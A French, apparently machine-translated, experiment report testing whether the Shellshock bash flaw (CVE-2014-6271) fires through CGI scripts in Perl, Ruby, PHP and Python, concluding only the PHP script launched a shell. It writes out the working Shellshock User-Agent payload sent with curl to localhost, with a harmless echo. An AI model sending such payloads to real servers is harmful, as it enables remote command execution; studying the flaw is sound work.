En raison d'une vulnérabilité bash (CVE-2014-6271 etc.), lors de l'utilisation d'une fonction de langage de programme qui exécute des commandes OS telles que la fonction system
de Perl ou Ruby CGI, les données envoyées depuis le navigateur telles que UserAgent deviennent une variable d'environnement. Il a été dit que bash commence dans l'état stocké et ShellShock se produit. Est-ce vraiment le cas?
Des expériences ont été réalisées avec le système de traitement suivant.
CGI qui appelle et affiche simplement la commande du système d'exploitation ʻenv`.
Perl
#!/usr/bin/env perl
print "Content-Type: text/html;\n\n";
print system('env');
Ruby
#!/usr/bin/env ruby
print "Content-Type: text/html;\n\n"
print system('env')
PHP
#!/usr/bin/env php
<?php
print system('env');
?>
Python3
#!/usr/bin/env python3
import subprocess
print("Content-Type: text/html;\n")
print(subprocess.check_output('env'))
Requête générée par curl. -A
est une option pour spécifier UserAgent.
$ curl -A '() { :; }; echo Hello!' localhost/index_xxx.cgi
Tous ont passé UserAgent comme variable d'environnement, mais ʻecho Hello! `A été exécuté uniquement en PHP.
$ curl -A '() { :; }; echo Hello!' localhost/index_php.cgi
Hello!
SERVER_SIGNATURE=
SERVER_PORT=80
HTTP_HOST=localhost
DOCUMENT_ROOT=/Library/WebServer/Documents
SCRIPT_FILENAME=/Library/WebServer/Documents/index_php.cgi
REQUEST_URI=/index_php.cgi
SCRIPT_NAME=/index_php.cgi
__CF_USER_TEXT_ENCODING=0x46:0:0
REMOTE_PORT=50129
PATH=************
PWD=/Library/WebServer/Documents
[email protected]
HTTP_ACCEPT=*/*
REMOTE_ADDR=::1
SHLVL=1
SERVER_NAME=localhost
SERVER_SOFTWARE=Apache/2.2.26 (Unix) DAV/2 mod_ssl/2.2.26 OpenSSL/0.9.8za
QUERY_STRING=
SERVER_ADDR=::1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
HTTP_USER_AGENT=() { :
}
_=/usr/bin/env
_=/usr/bin/env%
Premièrement, Perl et Ruby exécutent des commandes en utilisant des appels système sans passer par le shell s'il n'y a pas de méta-caractères du shell dans la commande. Dans le cas de Python, si shell = True
n'est pas ajouté, le shell ne sera pas démarré. Puisque le shell ne démarre pas, il n'est pas affecté par ShellShock.
PHP semble lancer le shell comme il est normalement.
Pour les programmes autres que PHP, même si vous utilisez une fonction qui exécute des commandes OS telles que system
, il semble que le shell ne soit pas toujours appelé. Donc, même si vous utilisez une fonction comme system
, je ne pense pas qu'elle soit toujours affectée par ShellShock.